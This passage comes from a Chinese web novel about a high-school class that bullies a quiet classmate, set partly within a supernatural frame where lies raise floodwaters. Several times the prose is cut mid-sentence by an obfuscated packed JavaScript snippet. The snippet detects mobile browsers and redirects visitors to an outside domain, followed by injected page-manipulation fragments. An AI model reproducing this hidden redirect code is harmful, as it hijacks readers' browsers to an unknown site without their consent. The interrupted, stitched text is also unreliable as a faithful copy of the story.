;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691142|173352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眉飞色舞地在黑板上写下名字:“既然大家都这么想,那就先写徐晓梦吧。” 还真装上了友善的同学。 温嘉偏过头,赵选正聚精会神地玩手机,反倒是教室角落的卓诗兰黑了脸。而徐晓梦慌张不安地抱住试卷,还不知道自己到底该为此殊荣高兴,还是该思考自己得罪了谁。 温嘉内心深处涌起一股莫名的得意。她知道卓诗兰不会善罢甘休的。 她当时没放在心上,因为她还有更重要的事做——李婉玫委托她来写运动会口号。温嘉自诩有一些才华,终于有机会展示,必须要全力以赴。尤其是联想到一开始冯银子想主动做这份工作,温嘉下定决心要把她比下去。 然而,运动会前一周的彩排当天就出了一个小插曲。 那天晚自习是方原守的,温嘉上去问题的时候徐晓梦也跟在她身后。温嘉不耐烦地“啧”了一声,回头瞪了一眼徐晓梦:“你能不能先等我问完?” 徐晓梦被温嘉的变脸吓住了,愣了几秒才默默离开。但可能徐晓梦太笨了,后来方原给她讲了很久她也没听明白。温嘉看得出来方原的耐心在丧失,恐怕徐晓梦也这么觉得,所以徐晓梦又转头回去了。 因为彩排的缘故,晚自习提前结束。班长麦吉和负责组织的冯银子等人叫上徐晓梦,说是要去体育馆熟悉一下流程。 当天是陈屿那一组值日。温嘉离开的比较晚,被那组的小组长武平喊住,说是庄笙也跟麦吉他们过去了,都忘记了值日,让温嘉去找她回来。 温嘉想起之前被庄笙提醒的事,心道这一回终于轮到自己了。她故意走得慢一些拖延时间,这样庄笙要是回宿舍太晚了铁定会被老巫婆骂。 这样想着,温嘉还在操场散了一会儿步,等到人几乎都走干净了才进体育馆。里面空空荡荡,除了5班的也没别人。 负责组织运动会的包括麦吉、冯银子、卓诗兰、赵选、以及庞潇,他们刚好收拾了东西走到门口。 庞潇还在生气:“这徐晓梦也太搞笑了吧,让她试试衣服她不肯就算了,就这么走了是怎么回事?噢对,器材室你们锁门了吗?” “锁好了的。”卓诗兰应道。 庞潇还有些不放心,但她手上拿着东西,于是让温嘉去看一眼。 庄笙没和他们在一起。据麦吉说他们本来一群人过来彩排,结果一路上人越来越少,都借这名义悄悄溜走了。 温嘉不由羡慕起庄笙好运,这都给她躲过了值日。 体育馆的器材室在角落里,采用的是防火防盗门,通常要求学生使用完就从外面锁好。 温嘉看了一眼,没什么问题。就在她抬脚的时候,一声微弱的闷响从门内传来。她吓了一跳,以为是自己听错了。 然而庞潇远远催促着她,温嘉赶忙过去了。临走之前,她回过头,心中隐隐浮起一股不安。 那天熄灯以后,庄笙才回宿舍。但是老巫婆这种凶狠的女人居然没有骂庄笙,只是催促她赶紧洗漱睡觉了。 真不公平。成绩好就是天理吗。 庞潇鼓起脸,突然听见老巫婆在走廊上爆发了:“你们今天晚上是干什么,全都回来得这么晚?搞快点,磨磨蹭蹭的,小心我和你们班主任说!” 宿舍门上方是一扇玻璃窗,上床下桌的配置刚好可以看见外面。老巫婆拿着手电筒引路,后面跟着的居然是徐晓梦。 “等一下,”老巫婆用光线一照,“你脸上怎么回事噢,女孩子家家的,和同学打架了吗?” 徐晓梦半天没吱声,经不住逼问才说:“没、没有。” 老巫婆当即没说什么,把徐晓梦送回了走廊尽头的房间。再次经过温嘉她们宿舍时,温嘉听见她拿出手机。 “喂,李老师噢?” 8. 剪开 第二天是周四。晚自习中途,李婉玫突然出现在教室门口,陆续叫了几个人去办公室。 据温嘉观察,除了两个成绩特别差、上课严重开小差的,剩下的和她想的一样。生活老师许菲(老巫婆)肯定告诉了李婉玫什么,这才会把麦吉、庞潇、还有冯银子他们全都抓去办公室。 徐晓梦一直低着头坐在教室角落,一副相当担惊受怕的模样,连周围有人路过都会让她吓一跳。她的侧脸似乎有些肿,但被头发挡住了。 难不成真的和老巫婆说的,她和人打架了?但徐晓梦这样子,很难想象她是如何和别人动手的。 而且李婉玫也没有叫徐晓梦去谈话啊。 温嘉得到了一个初步的结论,有人对徐晓梦动手了。 但她不知道因为什么,更不知道是什么时候发生的,是在他们去体育馆之前,还是之后——等等,昨天! 温嘉在教室里打了个寒颤。 她想起昨天晚上器材室里传来的敲打声,还想起庞潇问有没有锁好门。卓诗兰是怎么回答的来着,她很笃定地说:“锁好了的。” 温嘉捏紧钢笔,目光从教室后门跟随卓诗兰,停在徐晓梦身旁。卓诗兰双指撑在徐晓梦的课桌上,似乎敲了两下。她背对着温嘉的方向,似乎和徐晓梦说了一句什么。 徐晓梦将头低得更紧了,乌黑的长发几乎盖住了脸。 卓诗兰转过身,脸上残余嗤笑。温嘉从那几分笑意中瞧出了胜利者的姿态。 “温嘉,”庄笙在教室门口喊她,让她脱离了思绪,“李婉玫让你去一趟。” 温嘉见她没穿校服,圆领的白衫配上牛仔裤,露出了还算好看的脖颈线条和修长的双腿,头发明显吹过,蓬松地扎成一团,手臂还捞着一件灰色外套,和以往那副高冷的学霸模样形成了反差。 “你干嘛去?你也去李婉玫办公室了?”温嘉故意加重了“也”这个字音。 “嗯,她有事要问你。我下节课还要去排练。” 温嘉这才想起来,庄笙是代表他们班参加学校的演讲比赛。下周运动会正式开始那天晚上也是演讲比赛的决赛。这种事情李婉玫向来只会选成绩好的,或者是麦吉那种八面玲珑的。 温嘉想,还不一定是出风头呢,也可能是丢洋相。总之,风险大过收益,让她去她都不乐意。 她这么想着,一路走到了李婉玫办公室。还有另外几个老师也在各忙各的。麦吉刚好出来,还是一副嬉皮笑脸的模样。 李婉玫先关心了一下温嘉的成绩,因为明天是周五,下午要开家长会。温嘉向来对自己中等的成绩有数,她一贯擅于维持。只是刚上高一,面对一月一次的考试有小幅度下滑而已。 李婉玫说:“在咱们学校排名是还行,但放到区上就不行了,你知道这次是全区联考吧?” 温嘉心里想,我要是成绩好能来读这个学校吗?她挂上笑容:“李老师,我知道了,我下次会努力的。” 李婉玫还年轻,也不忍心说重话:“嗯你心里知道就行。” 温嘉对李婉玫的印象也还可以,她是语文老师,表面上脾气火爆,其实挺好说话一个人。温嘉从小到大第一回碰到这么年轻的,好像也没比他们大几岁。温嘉莫名地不怕她。 李婉玫又唠叨了她几句之后,又问:“昨天晚上你也去体育馆看他们彩排了?” 李婉玫斜后方的办公桌边,方原刚好进来。他朝温嘉眨了一下眼睛,好像知道她正在被训话。 温嘉一下子被吸引了注意力,嘴角不自觉地上勾。李婉玫提高声音又问了一遍,她才回过神:“啊,是。但是我后来才去的。” 温嘉如实说,她去的时候彩排已经结束了。 李婉玫的表情温和,但温嘉却能感受到她的审视:“温嘉,告诉李老师,你昨晚有看到什么吗?” “嗯?”温嘉感觉自己的背部绷直了。 李婉玫明显察觉她的紧张,安抚道:“你大胆说,没关系的,比如有没有同学做出一些不太合适的举动?” 温嘉想了想,说:“没有。” “真的吗?”李婉玫露出失望。 “我去的时候大家都走了。而且我是去找庄笙的,她人都不在。所以我就直接回寝室了。” 李婉玫“噢”了一声,又问:“那你走之前,看到是谁给器材室上锁的吗?” 她的声音不大,但在晚上的办公室里,任何人都能听清楚。她问到这一句时,温嘉感受到方原的视线瞥向自己。说不清是好奇还是怀疑。 温嘉想起,她爸也会这么看她,好像会凭借她下一句话的表现来判断到底给什么脸色。她但凡说错一句,可能就是万劫不复——当然,她爸是个世俗意义上的“好男人”,在外界看来还挺爱她的,顶多也就是给她这个人下一些判断和定义。 她不希望方原也这么看她。 “我没看到。走的时候门已经上锁了。” “你确定是锁好了的?” 温嘉点点头。她又没说谎,犯不着紧张。李婉玫问的每一句话,她都说了实情。 李婉玫见状,换了个问法:“那你见到徐晓梦了吗?” 温嘉老老实实地摇头。 “你知道她受伤了吗?她说是自己不小心摔的。” 温嘉发出了茫然的声音:“啊?那她去医务室了吗?” 今天看到徐晓梦的时候,她也没什么事啊。 “李老师,我能帮她什么吗?”温嘉主动问道。 李婉玫嘱咐了她几句多多关照同学,然后就让她走了。临出门时,温嘉余光瞟了一眼,方原正在专心批改作业,头都没抬一下。 晚自习还在继续,只不过教室里有一半人都没在学习,睡觉的发呆的低声说闲话的才是他们班的真实状态。 徐晓梦似乎在埋头写作业,时不时会看一眼不远处。温嘉认为,她又要去找陈屿问题了。但陈屿此时正在给冯银子讲题,根本不知道有人在等。 温嘉想,徐晓梦这个人是有很多惯性行为的,好像陈屿给她讲了一次,就会给她讲很多次似的。 温嘉刚坐下来却发现徐晓梦站起身,拿着作业本出门往办公室的方向走了。她走路的姿势很慢,动作起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691143|173352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伏也很小,像被夹子夹住一样,小气得很。 不知道为什么,温嘉心中隐隐有一股快感。 周五下午是家长会,温嘉的妈妈和庄笙的妈妈是一起去的。她俩是同事,表面熟络得不得了。 温嘉看她妈笑的花枝乱颤,想起在家骂她的时候:“你杨阿姨的老公比你爸有钱,庄笙还比你成绩好,你看看你自己,什么时候给我争点气。” 家长会上,陈屿作为学生代表发了言。 温嘉站在教室后门,听见卓诗兰说:“哇哦,陈屿他妈好潮啊,头发烫成那样,还拿了一个LV,真的假的呀?” 冯银子探头看了一眼:“那还是郁迟他妈比较厉害,好富态。对了,郁迟呢?” 她扭头,只见郁迟难得和蔫了一样坐在廊柱边不吭声。 “他妈初中的时候都不来给他开家长会的,”赵选塞好耳机,打开自己的新款iPod,“他还有个哥哥,妹妹都没上小学。” 卓诗兰三两步过去笑话郁迟:“你还真是个少爷啊。” 郁迟阴着脸,在手机上按了半天,也不知道在和谁聊天。他被卓诗兰连续的阴阳怪气惹烦了,恶狠狠地瞪了她一眼。他的眼睛细长,一股阴狠戾气突然涌现,凶恶非常。 “你干什么?”卓诗兰被吓愣了一秒,但分毫不怵,提高了音量,“你还想打人吗?” 意外的是,郁迟忽然变了脸色,笑嘻嘻地说:“吓你一下,这么胆小。” 卓诗兰和他打闹起来,旁边冯银子在和赵选说:“……他哥在清大读书?真那么优秀?哇,他爸妈是早就放弃他了吧?” 温嘉在旁边听了两句,再往教室里看去时,才发现窗边有个位置没有人。是徐晓梦的家长没有来。 家长会后,被关在学校的学生们终于迎来了周末。温嘉感觉接下来一周都是康庄大道——周日返校后再挨两天,周三上午运动会开幕式,然后就能玩整整两天半了! 在度日如年的几天过后,临城中学终于迎来了秋季运动会。 周三上午八点四十结束第一堂课之后,温嘉看见徐晓梦抱着一条裙子去厕所。那是一条雪纺的白色长裙,是冯银子带来的,说是亲戚送的。 两天前,冯银子就已经当着众人的面交给徐晓梦了,还特意打开给大家欣赏,说徐晓梦手长脚长,穿那个肯定好看。 “好期待啊,”麦吉在温嘉课桌边作捧脸状,“徐晓梦肯定很合适。” 然而徐晓梦耽误了很久,一直没回来。冯银子坐不住了,拉上麦吉和庞潇去喊人。 温嘉也借机去洗手间凑热闹。然而刚一进去,其他班的女生在洗手池边纷纷笑出了声。还有吹口哨的假小子正在起哄:“太辣了美女!你们班男的受不了吧?” 温嘉看见徐晓梦孤零零地站在厕所过道中央,那件本应该很合适的白裙子却像一块白色的破抹布,在后背碎开,露出少女苍白透明的肤色。 明显是被故意剪开的。 那么多的恐慌,茫然,和无助,在一瞬间淹没了徐晓梦。温嘉心底一颤,表面上却毫不惊慌,合群地笑了起来。 9. 西装 时至今日,温嘉都清楚记得自己当时的心情。那是一种极其复杂而矛盾的心理。她想徐晓梦罪不至此,又想她活该。 当她看徐晓梦低头红了眼睛的时候,心中又陡然生出一丝希望——徐晓梦会发脾气吗,她会不会崩溃地质问什么人,为什么要这样对待她。 但现实中,率先发飙的是冯银子:“我*,什么情况?” “不、不知道啊,”庞潇一个劲儿地摇头,又问徐晓梦,“你怎么搞的?” 徐晓梦回答的声音细若蚊蝇:“我……我也不知道。” 她呆呆地立在原地,被外面路过的男生吹口哨才又吓得想躲,然而此处无路可躲。 冯银子忍住翻白眼的冲动,没好气地朝门外的麦吉喊:“看屁啊看,全都滚!麦婆你傻站着干嘛,让他们都走啊。” 女厕所里安静下来,只有消毒液的气味在不断扩散。 这时,卓诗兰从门口进来,神情嫌弃地捏住鼻子。郁迟是和她一起路过的,此时似笑非笑地瞟了一眼,头也没回地走远了。 卓诗兰闷声撞了一下冯银子的肩膀:“怎么回事啊,这裙子怎么变成这样了?我的天啊,你还说这是别人送你妈妈的生日礼物呢。” 庞潇发出吃惊的声音:“啊?那是不是很贵啊!” 微凉的风从高处的小窗钻入,徐晓梦随之一抖。看得出来她很害怕,做了不知多少遍心理建设,鼓足勇气说:“我……我一直把裙子装在纸袋里,就、放,放在教室,不知道怎么变成这样。我想……办法赔……” “赔得起吗你,”冯银子抱住手,深吸一口气,“关键是现在怎么办,总不能让她换回校服。李婉玫会骂死我。” 她这话是和其他人说的,和徐晓梦一点关系都没有——徐晓梦怎么想的,根本不重要。 温嘉正打算悄悄退场,被庞潇叫住了:“温嘉,你快去拿个针线盒来。方老师那儿就有。” 温嘉想说“凭什么要我去”,忍了忍答应下来。 她很快从办公室拿了回来。冯银子算是比较擅长这类手工的,她让徐晓梦穿着,缝上去了一截。 可惜被剪开的地方非常零碎,有些部分无法补齐,后背仍然露出了很大一块。 “就这样吧,没办法了,”冯银子见徐晓梦都快哭出声了,也懒得再理会,“你自己看一下,不行就换校服。衣服的事等结束再说。” 说完,她和女生们都先离开了。 刚出洗手间,卓诗兰憋不住笑:“你好坏啊银子,你看她都吓成什么样了。我怕你再多说一句她就要尿裤子了。” 冯银子拍了她一下:“我刚才凶了嘛?就事论事而已,别给我泼脏水。” “那怎么办,真要她赔啊?”庞潇说。 冯银子慢悠悠地答道:“本来就表演用的,她敢穿出来的话也不算浪费,就不要她赔咯。” 她们离得不远,温嘉想,徐晓梦大概能听见。 “那万一……”庞潇说,“李婉玫不会找我们麻烦吧?” 卓诗兰哼笑道:“要找也找徐晓梦啊,衣服是她保管的,在她手上坏的。” 庞潇迟疑道:“我是觉得她胆子挺小,说不定是别人弄坏的。不过,好奇怪啊,她自己心里比我们清楚,要是冤枉她,估计早就反驳了。” “那不就得了,先把开幕式过了吧。”冯银子说。 班上的同学已经去楼下集合了,她们也赶紧下去,和心急如焚的李婉玫一起干等着。 年级组长经过他们班的时候还多看了一眼。温嘉想,李婉玫可能比冯银子要着急多了,也不知道耽误了开幕式时间会不会扣工资。 深秋的冷风一阵一阵地飘来,吹落了不知名的墨绿叶片,坠于金色白色的野菊花边。温嘉数着花朵,偶尔抬头看一眼。 也不知过了多久,连野菊花都弯了腰,她才听见一声惊呼。 少女身着一袭洁白无暇的裙子出现在楼梯拐角处,她上身搭了一件精致的灰色小西装外套,显得人温柔修长,头发上的白色蝴蝶结不失俏皮。 温嘉听见同学们惊艳的声音,附和着鼓了一下掌。她算女生中比较高的,所以站在队伍后方,卓诗兰就在她前面。 卓诗兰没鼓掌,连头都没抬,只顾着和旁边的郁迟说话。郁迟却被热闹吸引了注意力,稍微怠慢就被甩了脸色。 徐晓梦经过他走到班级最前方的时候,郁迟大声问:“你裙子缝好没有啊?他们都看了我也想看。” 卓诗兰打了他一下:“你要不要脸啊?” 郁迟笑了笑,眼睛眯成一条缝。 他本来就不是好看的类型,此时莫名让温嘉联想到阴森森的猴子,下陷的眼眶透出黏腻恶意,令她手心冒汗。 但下一秒,郁迟又变成了笑嘻嘻的脸色:“李老师,赵选的iPod都丢了几天了,你还没给她找到啊?” 被提到名字的赵选“啧”了一声,李婉玫心不在焉地答道:“哎呀你都不说清楚在哪里丢的,你再好好找一下。学校又没监控。” 难怪这几天赵选都静悄悄的,连看爱豆时的尖叫都没有了。 也是这个时候,温嘉意识到李婉玫根本没起任何作用,至少她管不了郁迟,也处理不了任何事情。得过且过、粉饰太平就是李婉玫的工作准则。 温嘉的目光经过前方的人,才发现庄笙来晚了。不仅晚了十几分钟,她还堂而皇之地直接从操场加入了队伍,对此仅跟李婉玫点了一下头。 这算什么事?是庄笙这种好学生乖乖女有特权,还是她也可以爬到李婉玫头上? 温嘉暗暗发誓,下次自己再被李婉玫骂的时候也要怼回去,谁还没有点脾气了。 开幕式进行得还算顺利。徐晓梦举着牌子在前面,除了那股畏畏缩缩的劲儿,也挺给他们班长脸的,起码比1班那个歪瓜裂枣的男生好看多了。 开幕式一直进行了整个下午,结束后还有几项老师们参与的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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幸好冯银子去看演讲比赛了,温嘉想。不然徐晓梦怎么应付的了四个人呐。 有好事的同学跑到门边悄悄打开一道缝,但走廊外空空如也。而后探头望了一眼,若无其事地走回座位:“好像去小教室了。” 临城中学的每间大教室都会配一间小教室,用来上AB分班的英语课。其他时候基本都是空置的,很适合用来“谈话”。 那天后来发生了什么,温嘉并不清楚。因为电影放完之后,小教室早已人去楼空。 在温嘉的印象里,周四周五的运动会都进行得非常顺利。 唯一的插曲是运动会最后一天下午,负责拍照的同学往班群里丢了一张的照片,拍摄的是看台侧面。 落叶铺在翠绿的草丛上,阳光经过的地方散发着温柔热烈的气息。他们班最好看的男生蹲下身,动作轻柔地给少女系鞋带。 很久以后温嘉意识到,那才是风暴的开端。 10. 鞋带 阴冷的雨水从天而降,逼得众人再次进入室内。 陷入回忆的温嘉显得有几分恍惚,视线常常飘向漆黑的走廊深处,仿佛那里会随时冒出什么东西。 庄笙站在门边,雨丝经过她的手臂,而雨势愈发大了。她的目光缓缓经过众人。 陈屿踩着台阶,背抵着墙,仍然神情平淡,一切都无法扰乱他。麦吉在他旁边,面朝大雨陷入深思。 赵选保持沉默时,郁迟在不耐烦地点烟,他的烟之前泡在水里,现在找不出一根好的。 冯银子紧紧抓住卓诗兰的手臂,似乎在防范她反应过激。 庞潇的脸颊随着吸气鼓了起来,措辞变得小心翼翼:“温嘉,你是在指控卓诗兰?” 闪电霎时落下,照亮了卓诗兰惨白的脸。 “怎么可能,根本不是我,我不就……”卓诗兰将后面的话吞了回去,原本惊怒的语气变得笃定,“把她关在体育馆的绝对不是我!” 温嘉反问道:“那你说是谁?” 卓诗兰发出轻蔑的声音:“我怎么知道,你可真是莫名其妙。” 她还要再多骂几句时,麦吉忽然出声:“我相信卓诗兰,她没说谎!你们看——” 随着他的指向,骤雨忽停。 他激动得手舞足蹈:“各位,我有一个猜测!如果温嘉和庞潇看见的‘女鬼’真是徐晓梦,那这一切就说得通了呀。” “你们注意了没,温嘉说话中间雨停了,水位也降了。她说到后面的内容时,雨才又下起来了。而卓诗兰回应温嘉之后,雨停了。各位,这说明什么?” 庄笙瞟了一眼陈屿,对方正对着她,嘴角若有若无地翘起,说:“或许这是一个不真实的,受语言控制的环境。” “没错,和我想的一样。” 麦吉摊开双手,朝众人分析:“我们在进入学校的时候被徐晓梦带入了一个虚幻空间,所以这里只有我们,其他同学的车根本没有跟进来。在这里,只要说出和徐晓梦有关的事情,环境就会发生改变。我们刚才已经证明了,如果有人讲述了回忆里的徐晓梦,那么雨就会停,水位下降——” “可你怎么解释刚才下雨了?”冯银子说。 麦吉说:“因为有人说谎了。” 数道视线聚焦在温嘉身上,她抿紧干涸苍白的双唇,倔强的眼神充满质疑。 麦吉落下了最后一个结论:“如果有人说谎,水位就会立刻上升,直到把我们全都淹死——” 郁迟耸耸肩:“那为什么不是反过来?有人说谎,雨就停了。” “郁迟你找死吗?”卓诗兰狠狠掐了他一把。 麦吉自信满满地答道:“因为徐晓梦想知道过去的事,如果说真话导致水位上升把我们都淹死了,谁来告诉她答案?而且我们都知道,徐晓梦是个很善良的人啊。” “善良”二字的发音故意被加重,显得耐人寻味。 “神经病,”冯银子骂了一句,眉心紧锁,“既然这一切都是假的,还用在乎这些?像电影里一样,从天台跳下去不就得了。” 说完,她作势要走出去,赵选一把拦住了她:“别冲动。万一……” 郁迟的语气不无遗憾:“万一挂了怎么办?” 冯银子骂了一连串脏字,又急又恼地攥紧拳头:“这到底想要我们怎么样?” 麦吉说:“我觉得……” “你闭嘴吧,”冯银子怒气冲冲地打断他,“净说些瞎话。” 麦吉也开始自我怀疑:“不然你问陈屿?” 站在角落的陈屿无奈地耸耸肩,回以沉默。 这时,庄笙开口了,她的声音空灵清透,抚慰了潮湿的黑暗:“既然如此,我们可以验证一下涨水的规律。如果麦吉的想法是正确的,温嘉,你是否隐瞒了什么?” 温嘉的神情瞬间惊惧:“你不信我?庄笙,我……” 她忽然停住,苍白的脸上是失望的眼神。 卓诗兰看出她动摇了,立刻进一步逼问:“温嘉,赖在我身上的事还没说清楚,你再想想,在体育馆那天晚上到底怎么回事?” “我……我不知道,”温嘉用求助的眼神看向庄笙,“我听见有人问关没关好器材室的门,是卓诗兰自己说关好了。” 卓诗兰抱住双臂:“我只是看见它关好了。” “那是谁锁的?”庄笙问。 卓诗兰不太耐烦:“这么久的事情谁能知道。庞潇,你记得吗?” 被点名的庞潇摇头,她顿了顿,说:“但我知道温嘉在什么地方说谎了。” “你……”温嘉浑身紧绷。 庞潇犹豫了一阵,低头避开温嘉的眼神:“高一运动会开幕式那天晚上,你明明就在小教室外面,怎么能说自己什么都不知道呢?” 见温嘉唇瓣微颤,不可思议的模样,庞潇继续道:“那天我从演讲比赛中途溜出来,看见你了。” - 庞潇认为自己是一个非常注重公平的人。她从小到大都左右逢源,致力于把事情“做对”。家长和老师们都会夸赞她非常有大局观,她还是个天秤座。 或许是耳濡目染,庞潇在十六岁的年纪就已经深深理解了世界的灰色——这里不存在对错,如果有,那一定是立场决定的。 正如她听说徐晓梦被人关在体育馆之后的第一反应——徐晓梦难道就没有做错什么吗? 和班上的大多数人一样,她也不喜欢徐晓梦。原因么,徐晓梦就是个完全没有大局观的人,连排练都扭捏作态,上不得台面,怎么给班级争气。 她尽量漠视这一点,并且鼓励徐晓梦再往前挪一挪。可惜她推不动“猪队友”。 当然啦,这件事只在她的感受中留下不太好的一面,不至于影响她的判断。而徐晓梦弄坏开幕式服装这件事则证实了她的想法——徐晓梦确实做错了。不管是不是她亲自剪的,她都没有履行保管的责任。 运动会开幕式那天晚上,她被李婉玫选为幸运的观众去看全校英语演讲比赛了。 庞潇的英语还不错,但一到这种时候就紧张,尤其怕台上的哪个演讲者忘词儿卡壳,她比当事人都要流几分汗。她在脑子里排练过很多回,要是她自己站在台上应该怎么控制语速和表情,可惜李婉玫没给她机会。 庞潇趁庄笙演讲之前先去了一趟洗手间。礼堂在教学楼中庭二楼,从厕所回礼堂的走廊上能刚好看见斜对面楼上的他们班。 她视力很好,从没一点近视,因此很清楚地看见赵选和卓诗兰、郁迟推着一个人进了小教室。 她联想到赵选最近丢了的新款ipod,有些惊讶地发现竟然是徐晓梦。难不成是她看错了人,徐晓梦还有这样的胆量? 小教室的门关上后,另一个意想不到的身影从教室后门出来。走廊上灯光很亮,将她照得格外清晰。 庞潇看见温嘉贴在门口听,过了一会儿又露出好笑的神情。温嘉在走廊边站了足足五分钟才离开。 庞潇在回大礼堂的路上迎面撞上了卓诗兰,她拿着手机在不停地打字,连头都没抬。庞潇很想提醒她手机是不能出现在教学区的,但想了想什么也没说。 反正做错事都是要受到惩罚的。 运动会正式开始的那一天,高一5班的座位被分配到看台边上。趁着李婉玫不在,赵选很大声地宣布不准任何人和徐晓梦说话——她其实是对着冯银子和卓诗兰她们说的,但尖锐的声音引起了周遭的注意,于是她的视线巡逻了一圈。 “听到没有?”郁迟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691145|173352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑着推了一下旁边男同学的肩。他下手没轻没重的,换来一声闷哼,“哎哟这么脆弱,你是个女娃吗?” 庞潇对赵选的印象还不错,因为她很漂亮,是那种十分柔和温婉的长相,表面上没什么攻击性。赵选平时也不怎么说话,只爱追爱豆,有时候庞潇还挺奇怪她能和郁迟他们混到一起的。 郁迟是出了名的坏胚子,这学期在年级上还打过两次架,被记了过——但不知道李婉玫是怎么调解的,总之没让在升旗仪式时全校公示。 庞潇虽然体格比他强壮,但有时候也怕他。因为这人一看就是不要命的,像泥沟里的毒舌,冷不丁会咬人。 他和卓诗兰一样阴晴不定,上一秒说笑,下一秒就会抄起书本打人。难怪他们是好朋友。 至于冯银子,庞潇想,除了郁迟敢喊她那个难听的绰号,没人想惹她。听说她外公在学校董事会,退休之前是个大人物。 在庞潇看来,冯银子比另外三个人都“正常”,起码她保持了中等成绩和中等的努力,也还算积极向上,没有动不动发脾气。 但此时在看台上,冯银子操着流利的本地方言,玩笑般“警告”周围人:“今天开始都不准跟她说话哈,不然就是小偷的同党。” 她故意嗲声嗲气地说话,和卓诗兰对视一眼,同时笑了起来。 “小偷今天还没来啊,”卓诗兰的手指撑着脑袋,“我还想听她说几句呢。” 郁迟旁边的男生叫武平,人如其名,是平平无奇的寸头。他回过身,手上还拿着书:“你们不是都找回来了的嘛,找到就算了噻。” “你说什么,我没听清?”郁迟右手一勾,勒住武平的脖子。他下手又快又狠,武平根本来不及反应,卡住的呼吸让整张脸顿时涨得通红。 恰好这时李婉玫过来了,陈屿和庄笙跟在她后面。李婉玫刚要喝止,郁迟率先松手,还拍了拍武平的肩膀,语气无比关切:“没事吧?跟你开玩笑呢。” “郁迟,你是不是又想喊家长了?”李婉玫警告道。 郁迟摆出插科打诨的态度:“你喊嘛,喊我妈过来,我校裤都坏了,让她给我两百块钱。” 这样的事情时有发生,庞潇都快习惯了。 她这两天都挺闲的,只有运动会最后一天下午,负责照相的麦吉有接力项目,只好把相机转交给她。临走之前百般叮嘱不要弄坏了。 庞潇知道他的相机很贵,要不麦吉这拍照技术根本不够看。她翻了翻他之前拍下的照片,整个一乱七八糟,远不如她的水平。 庞潇举着相机在运动场拥挤的人群中穿梭,拍了不少满意的照片。这些才是能用的好吧,她等会儿要好好羞辱一下麦吉。 好不容易回休息区的时候,她发现了一个完美的角度去抓拍体育馆周围经过的人。 她调整好快门时间,抓了很多张。 庞潇回休息区之后才开始回看照片,翻到倒数第三张时她吓了一跳。那是看台侧面一块意想不到的空地,和两个意想不到的人。 她把照片放大,看见极其漂亮的光线犹如白色的星星,尤其当它们落在黑色的头发上时——简直太完美了,根本不用p,她天生就是做摄影师的料! 而且这还是个大八卦! 庞潇直接全部发进了班级群。 闭幕式结束后,庞潇回教室收拾好书包。她在去校车的路上绕了个道,刚走入小竹林却看见冯银子背对着自己,正在大声哭诉着什么。 庞潇悄悄后退了半步,看到了更惊人的一幕。冯银子竟然在对着陈屿哭! ……等等,陈屿?!他不是刚刚还在给徐晓梦系鞋带吗? 她意识到自己可能无意中撞破了一件不得了的事,忐忑之下,隐秘的兴奋跃跃欲试。 11. 质问 “……那件衣服对我真的很重要……她还偷赵选的东西……我是真的不懂,陈屿,你为什么要这样做?你知道这样对我们伤害很大吗?” 庞潇悄无声息地往茂密的竹林间一躲,侧过身假装在偷偷玩手机。她的视线穿过鹅卵石路转弯处稀疏绿竹的空袭,在二人身上来回大赚。 冯银子拖长哭腔的控诉令她惊讶极了,她能想到卓诗兰随心所欲地发脾气,却从没想过冯银子也这样。 可能这就是近墨者黑吧。 陈屿还没说话,冯银子又仰起脸,泪如落珠:“我一直以为你是个好人,结果你真的……你是觉得她做得对吗?” “你……先别哭了。”陈屿似乎想安慰她,但又不能直接拍女生的肩膀,于是手足无措地找出纸巾。 那一瞬间,庞潇觉得陈屿果然和别人是不一样的。年级上鼎鼎有名的帅哥,陈屿算其中一个。但其他人要么装酷,要么敷衍,只有陈屿冷淡的表面下有一颗温和的心脏。 要是换别人面对冯银子早就不耐烦了。 冯银子接过他的纸巾,飞快地蹭过眼角:“我又不需要你假装关心。” “事情还没有弄清楚,”陈屿耐心地说,“不一定是徐晓梦——” 冯银子打断了他:“我有证据!而且还有人看见她当小偷。” “是谁?” 冯银子顿了顿,嗓音哽咽:“我为什么要告诉你呀。你就说你是不是站徐晓梦那一边?” “就事论事,和站队没有关系。” 